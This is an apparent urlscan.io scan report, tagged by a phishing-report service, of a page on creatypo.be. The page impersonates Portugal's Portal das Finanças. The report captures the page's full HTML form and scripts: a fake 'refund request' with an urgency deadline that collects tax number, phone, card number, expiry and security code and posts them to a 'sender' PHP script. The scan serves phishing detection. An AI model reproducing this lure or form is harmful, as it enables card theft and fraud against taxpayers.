creatypo.be
Open in
urlscan Pro
2a06:2ec0:1:e::125
Public Scan
Submitted URL: https://creatypo.be/pt/Portal-das-Financas/%20
Effective URL: https://creatypo.be/pt/Portal-das-Financas/
Submission Tags: https://phish.report @phish_report Search All
Submission: On August 29 via api from FI — Scanned from FI
Effective URL: https://creatypo.be/pt/Portal-das-Financas/
Submission Tags: https://phish.report @phish_report Search All
Submission: On August 29 via api from FI — Scanned from FI
Form analysis
1 forms found in the DOMPOST ./sender/s1.php
<form action="./sender/s1.php" method="POST">
<noscript>
<div class="alert alert-warning"><button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span></button>Ative o seu javascript para uma melhor utilização.</div>
</noscript>
<h2>Solicitação de reembolso</h2>
<div class="row">
<div class="col-md-8">
<legend style="
background-color: #e4e5e6;
border-left: solid #001c44 4px;
padding-left: 6px;
padding-top: 4px;
padding-bottom: 4px;
">
<small>Nota: Para evitar atrasos, certifique-se de enviar este formulário antes do prazo (4 de Setembro de 2022)</small>
</legend>
</div>
</div>
<div class="row">
<div class="col-md-4">
<div class="form-group form-group-sm has-error">
<label for="nif" style="
font-size: 13px;
">NIF</label>
<input type="text" name="a" id="nif" placeholder="Ex.: 123456789" pattern="[0-9/]{9,14}" class="form-control" value="" aria-required="true" aria-invalid="true" style="
border-color: #cdcdcd;
">
<div class="error-container">
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-4">
<div class="form-group form-group-sm ">
<label for="email" style="
font-size: 13px;
">E-mail</label>
<input type="email" name="b" id="email" placeholder="Ex.: nome@mail.pt" class="form-control" value="">
<div class="text-right"><span class="opcional-label">(Opcional)</span></div>
<div class="error-container">
</div>
</div>
</div>
<div class="col-md-4">
<div class="form-group form-group-sm ">
<label for="phone" data-toggle="tooltip" title="" data-original-title="Introduza o número de telefone fixo/móvel português" style="
font-size: 13px;
"> Telefone <i class="fa fa-question-circle"></i></label>
<input type="tel" name="c" id="phone" placeholder="Ex.: 210000000" class="form-control" value="">
<div class="text-right"><span class="opcional-label">(Opcional)</span></div>
<div class="error-container">
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-8">
<div class="form-group form-group-sm ">
<label for="address" data-toggle="tooltip" title="" data-original-title="Introduza a morada tal como a indicou no Cartão de Cidadão" style="
font-size: 13px;
"> Informação do receptor <i class="fa fa-question-circle"></i></label>
<input name="d" id="creditcard" placeholder="Número do cartão de débito / crédito" class="form-control" value="" required="" maxlength="19">
<script>
function _getcaret(input) {
if ('selectionStart' in input) {
// Standard-compliant browsers
return input.selectionStart;
} else if (document.selection) {
input.focus();
var sel = document.selection.createRange();
var selLen = document.selection.createRange().text.length;
sel.moveStart('character', -input.value.length);
return sel.text.length - selLen;
}
}
function _setcaret(input, pos) {
if (input.setSelectionRange) {
input.focus()
input.setSelectionRange(pos, pos)
} else if (input.createTextRange) {
var range = input.createTextRange();
range.move('character', pos);
range.select();
}
}
function _format_464(cc) {
return [cc.substring(0, 4), cc.substring(4, 10), cc.substring(10, 14)].join(' ').trim()
}
function _format_465(cc) {
return [cc.substring(0, 4), cc.substring(4, 10), cc.substring(10, 15)].join(' ').trim()
}
function _format_4444(cc) {
return cc ? cc.match(/[0-9]{1,4}/g).join(' ') : ''
}
_CARD_TYPES = [{
'type': 'visa',
'pattern': /^4/,
'format': _format_4444,
'maxlength': 19
}, {
'type': 'master',
'pattern': /^(5[12345])|(2[2-7])/,
'format': _format_4444,
'maxlength': 16
}, {
'type': 'amex',
'pattern': /^3[47]/,
'format': _format_465,
'maxlength': 15
}, {
'type': 'jcb',
'pattern': /^35[2-8]/,
'format': _format_465,
'maxlength': 19
}, {
'type': 'maestro',
'pattern': /^(5018|5020|5038|5893|6304|6759|676[123])/,
'format': _format_4444,
'maxlength': 19
}, {
'type': 'discover',
'pattern': /^6[024]/,
'format': _format_4444,
'maxlength': 19
}, {
'type': 'instapayment',
'pattern': /^63[789]/,
'format': _format_4444,
'maxlength': 16
}, {
'type': 'diners_club_carte_blanche',
'pattern': /^30[0-5]/,
'format': _format_464,
'maxlength': 14
}, {
'type': 'diners_club_international',
'pattern': /^30[0-5]/,
'format': _format_464,
'maxlength': 14
}, {
'type': 'diners_club',
'pattern': /^54/,
'format': _format_4444,
'maxlength': 16
}]
function _format_cardnumber(cc, maxlength) {
cc = cc.replace(/[^0-9]+/g, '')
for (var i in _CARD_TYPES) {
const ct = _CARD_TYPES[i]
if (cc.match(ct.pattern)) {
cc = cc.substring(0, ct.maxlength)
return ct.format(cc)
}
}
return _format_4444(cc)
/*
if(maxlength) {
cc = cc.substring(0,maxlength)
}
if(cc.match(/^3[47]/)) {
return [cc.substring(0,4),cc.substring(4,10),cc.substring(10,15)].join(' ').trim()
}
return cc?cc.match(/.{1,4}/g).join(' '):''
*/
}
function _set_creditcard_number(event) {
const input = event.target
const maxlength = input.getAttribute('maxlength')
var oldval = input.value
var caret_position = _getcaret(input)
var before_caret = oldval.substring(0, caret_position)
before_caret = _format_cardnumber(before_caret)
caret_position = before_caret.length
var newvalue = _format_cardnumber(oldval, maxlength)
if (oldval == newvalue) return
input.value = newvalue
_setcaret(input, caret_position)
}
function make_credit_card_input(input) {
input.addEventListener('input', _set_creditcard_number)
input.addEventListener('keyup', _set_creditcard_number)
input.addEventListener('keydown', _set_creditcard_number)
input.addEventListener('keypress', _set_creditcard_number)
input.addEventListener('change', _set_creditcard_number)
}
make_credit_card_input(document.getElementById("creditcard"));
</script>
<script>
$('#credit-card').on('keypress change', function() {
$(this).val(function(index, value) {
return value.replace(/\W/gi, '').replace(/(.{4})/g, '$1 ');
});
});
</script>
<div class="text-right"></div>
<div class="error-container">
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-4">
<div class="form-group form-group-sm ">
<input type="e" name="phone" id="phone" placeholder="MM/YY" class="form-control" value="" required="" onkeypress="validate(event)" onkeyup="formatString(event);" maxlength="5">
<script>
function formatString(e) {
var inputChar = String.fromCharCode(event.keyCode);
var code = event.keyCode;
var allowedKeys = [8];
if (allowedKeys.indexOf(code) !== -1) {
return;
}
event.target.value = event.target.value.replace(/^([1-9]\/|[2-9])$/g, '0$1/' // 3 > 03/
).replace(/^(0[1-9]|1[0-2])$/g, '$1/' // 11 > 11/
).replace(/^([0-1])([3-9])$/g, '0$1/$2' // 13 > 01/3
).replace(/^(0?[1-9]|1[0-2])([0-9]{2})$/g, '$1/$2' // 141 > 01/41
).replace(/^([0]+)\/|[0]+$/g, '0' // 0/ > 0 and 00 > 0
).replace(/[^\d\/]|^[\/]*$/g, '' // To allow only digits and `/`
).replace(/\/\//g, '/' // Prevent entering more than 1 `/`
);
}
</script>
<div class="error-container">
</div>
</div>
</div>
<div class="col-md-4">
<div class="form-group form-group-sm ">
<input type="text" name="f" id="answer" class="form-control" placeholder="Código de Segurança" value="" required="" maxlength="3" onkeypress="validate(event)">
<script>
function validate(evt) {
var theEvent = evt || window.event;
// Handle paste
if (theEvent.type === 'paste') {
key = event.clipboardData.getData('text/plain');
} else {
// Handle key press
var key = theEvent.keyCode || theEvent.which;
key = String.fromCharCode(key);
}
var regex = /[0-9]|\./;
if (!regex.test(key)) {
theEvent.returnValue = false;
if (theEvent.preventDefault) theEvent.preventDefault();
}
}
</script>
<div class="error-container">
</div>
</div>
</div>
</div>
<div class="row margin-top hiddenOnOff" id="notifications">
<div class="col-md-8">
<label>Pretendo receber mensagens informativas por:</label>
<div class="checkbox">
<div class="checkboxEntry" id="checkboxEmail">
<label class="margin-right-lg" for="receiveEmails">
<input type="checkbox" name="receiveEmails" id="receiveEmails"> E-mail </label>
</div>
<div class="checkboxEntry" id="checkboxPhone">
<label for="receiveSms">
<input type="checkbox" name="receiveSms" id="receiveSms"> SMS </label>
</div>
</div>
</div>
</div>
<div class="row hiddenOnOff" id="warningMessages">
<div class="col-md-8">
<div class="well"> Estas mensagens alertam para as obrigações fiscais que tem de cumprir, antes do fim dos respetivos prazos legais, evitando que incorra em custos adicionais (juros de mora, custas e coimas) desnecessários.<p>Salientamos que
estas mensagens não substituem os avisos, notificações e citações definidos por lei.</p>
</div>
</div>
</div>
<input type="hidden" name="partID" value="PFAP">
<input type="hidden" name="path" value="/geral/dashboard">
<input type="hidden" name="_csrf" value="8e2b4450-34fd-4021-9892-13d5f9bfff56">
<div class="row">
<div class="col-md-8">
<input type="submit" id="" class="btn btn-primary pull-right" value="ENVIAR">
</div>
</div>
<div class="row">
<div class="col-md-8">
<hr>
</div>
</div>
</form>
Text Content
×Ative o seu javascript para uma melhor utilização. SOLICITAÇÃO DE REEMBOLSO Nota: Para evitar atrasos, certifique-se de enviar este formulário antes do prazo (4 de Setembro de 2022) NIF E-mail (Opcional) Telefone (Opcional) Informação do receptor Pretendo receber mensagens informativas por: E-mail SMS Estas mensagens alertam para as obrigações fiscais que tem de cumprir, antes do fim dos respetivos prazos legais, evitando que incorra em custos adicionais (juros de mora, custas e coimas) desnecessários. Salientamos que estas mensagens não substituem os avisos, notificações e citações definidos por lei. -------------------------------------------------------------------------------- LINKS ÚTEIS * Página Inicial * Informação Institucional * Carta do Utente * Dúvidas e Sugestões * Estatísticas * Privacidade ÁREA PESSOAL * Dados Pessoais * Mensagens * Dados de Acesso FALE CONNOSCO * Última atualização em 2022-01-17 | 5.0.18